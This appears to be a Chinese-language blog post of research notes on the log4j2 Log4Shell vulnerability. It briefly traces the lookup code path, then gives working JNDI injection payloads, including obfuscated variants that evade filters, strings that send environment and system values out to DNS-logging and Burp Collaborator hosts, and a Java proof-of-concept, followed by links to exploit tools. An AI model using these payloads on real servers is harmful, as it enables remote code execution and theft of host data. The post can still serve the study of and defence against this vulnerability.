log4j2杂谈

洞刚出忙着批量和写工具就没仔细分析漏洞成因,写这个是记录洞刚出来时的研究过程,其实爆出当天就看了logback这个包,好像是一个作者写的也是记录日志的作用,但是太晚就没怎么看,第二头就暴出配置文件jndi注入,哎。。。。

流程调试跟了下,就粗略看了看,这个洞告诉我看官方文档真的很重要!!!!

1
获取logger实例-->org\apache\logging\log4j\spi\AbstractLogger.class中的error方法-->logIfEnabled方法判断语句跟进之后会判断记录日志等级是否是小于等于200(error是200)最后if方法返回true进入logMessage方法-->然后稀里糊涂进入org\apache\logging\log4j\core\Logger.class中的log方法-->org\apache\logging\log4j\core\config\DefaultReliabilityStrategy.class的log方法-->一系列跟进发现message最后在LogEvent中的event变量-->this.formatters[i].format(event, buffer)-->提取${}中的内容-->最后跟到lookup方法    

1

绕过jndi字符

${${env:test:-jn}d${env:test:-i}:ldap://ip:443/o=tomcat}
${${lower:j}${upper:n}${lower:d}${upper:i}:
官方文档是支持base64的—-https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}

获取操作系统信息

ps:dns带外,值为空格和斜杠不行

env变量获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.Map;
import java.util.Properties;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);


public static void main(String[] args) {
//logger.fatal("${${env1:test:-jndi}:${base64:bGRhcA==}://0rsf1zz92nu7etkj3d4t6mouolubi0.burpcollaborator.net}");
//logger.error("${${env1:test:-jndi}}:ldap://test111.9.dnslog.vuake.com}");
logger.error("${jndi:ldap://aaaabbbb.ih3qkz76b15sv2xibvbjuddg47axym.burpcollaborator.net}");
//logger.error("${jndi:ldap://${sys:java.version}.9.dns.vuake.com/x}");
//logger.error("${jndi:rmi://localhost:8777/calc}");
//logger.error("${${env:test:-jn}d${env:test:-i}:ldap://${env:OS}.52.9.dns.vuake.com/x}");
/*获取全局env
Map<String,String> envMap = System.getenv();
envMap.forEach((k,v) -> System.out.println(k + "="+ v));
*/
/*获取sys
String os = System.getProperty("os.name");
System.out.println(os);
Properties properties = System.getProperties();
properties.forEach((k,v) -> System.out.println(k + "=" + v));
*/
}
}

env—从全局变量中获取,win和Linux不一样
${env:test:-jndi} 获取到的值默认为jndi
${env:OS} 获取操作系统版本
${sys:os.name} windows有空格会有点问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
USERDOMAIN_ROAMINGPROFILE=DESKTOP-VNUJ5RB
LOCALAPPDATA=C:\Users\hungry\AppData\Local
PROCESSOR_LEVEL=6
USERDOMAIN=DESKTOP-VNUJ5RB
LOGONSERVER=\\DESKTOP-VNUJ5RB
JAVA_HOME=C:\Program Files\Java\jdk1.8.0_251
SESSIONNAME=Console
ALLUSERSPROFILE=C:\ProgramData
PROCESSOR_ARCHITECTURE=AMD64
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
USERNAME=hungry
OS=Windows_NT
COMPUTERNAME=DESKTOP-VNUJ5RB
PROCESSOR_REVISION=5e03
CLASSPATH=.;C:\Program Files\Java\jdk1.8.0_251\lib\dt.jar;C:\Program Files\Java\jdk1.8.0_251\lib\tools.jar;
CommonProgramW6432=C:\Program Files\Common Files
ComSpec=C:\Windows\system32\cmd.exe
ProgramData=C:\ProgramData
ProgramW6432=C:\Program Files
HOMEPATH=\Users\hungry
SystemRoot=C:\Windows
TEMP=C:\Users\hungry\AppData\Local\Temp
HOMEDRIVE=C:
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
USERPROFILE=C:\Users\hungry
TMP=C:\Users\hungry\AppData\Local\Temp
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
ProgramFiles=C:\Program Files
PUBLIC=C:\Users\Public
NUMBER_OF_PROCESSORS=2
windir=C:\Windows

sys变量获取

${sys:java.verison}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
sun.cpu.isalist=amd64
sun.desktop=windows
sun.io.unicode.encoding=UnicodeLittle
sun.cpu.endian=little
java.vendor.url.bug=http://bugreport.sun.com/bugreport/
file.separator=\
java.ext.dirs=C:\Program Files\Java\jdk1.8.0_102\jre\lib\ext;C:\Windows\Sun\Java\lib\ext
java.version=1.8.0_102
java.vm.info=mixed mode
awt.toolkit=sun.awt.windows.WToolkit
user.language=en
java.specification.vendor=Oracle Corporation
sun.java.command=log4j
java.home=C:\Program Files\Java\jdk1.8.0_102\jre
sun.arch.data.model=64
java.vm.specification.version=1.8
user.name=hungry
file.encoding=UTF-8
java.specification.version=1.8
java.awt.printerjob=sun.awt.windows.WPrinterJob
user.timezone=America/Los_Angeles
user.home=C:\Users\hungry
os.version=10.0
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
java.specification.name=Java Platform API Specification
java.class.version=52.0
java.library.path=C:\Users\hungry\Desktop\tools\apache-tomcat-8.5.69\bin
sun.jnu.encoding=Cp1252
os.name=Windows 10
user.variant=
java.vm.specification.vendor=Oracle Corporation
java.io.tmpdir=C:\Users\hungry\AppData\Local\Temp\
line.separator=
java.endorsed.dirs=C:\Program Files\Java\jdk1.8.0_102\jre\lib\endorsed
os.arch=amd64
java.awt.graphicsenv=sun.awt.Win32GraphicsEnvironment
java.runtime.version=1.8.0_102-b14
java.vm.specification.name=Java Virtual Machine Specification
user.dir=C:\Users\hungry\Desktop\tools\javah\apache-log4j-poc-main\apache-log4j-poc-main
user.country=US
user.script=
sun.java.launcher=SUN_STANDARD
sun.os.patch.level=
java.vm.name=Java HotSpot(TM) 64-Bit Server VM
file.encoding.pkg=sun.io
path.separator=;
java.vm.vendor=Oracle Corporation
java.vendor.url=http://java.oracle.com/
sun.boot.library.path=C:\Program Files\Java\jdk1.8.0_102\jre\bin
java.vm.version=25.102-b14

springboot

Spring Boot Lookup 从 Spring 配置中检索 Spring 属性的值以及活动和默认配置文件的值
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#ContextMapLookup

servlet

${web:rootDir}

最后集成的工具支持jndi反序列化,高版本的绕过和常规利用
2

一些特定框架出发log4j的点
https://github.com/SPuerBRead/Bridge
https://www.anquanke.com/post/id/262852 struct
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis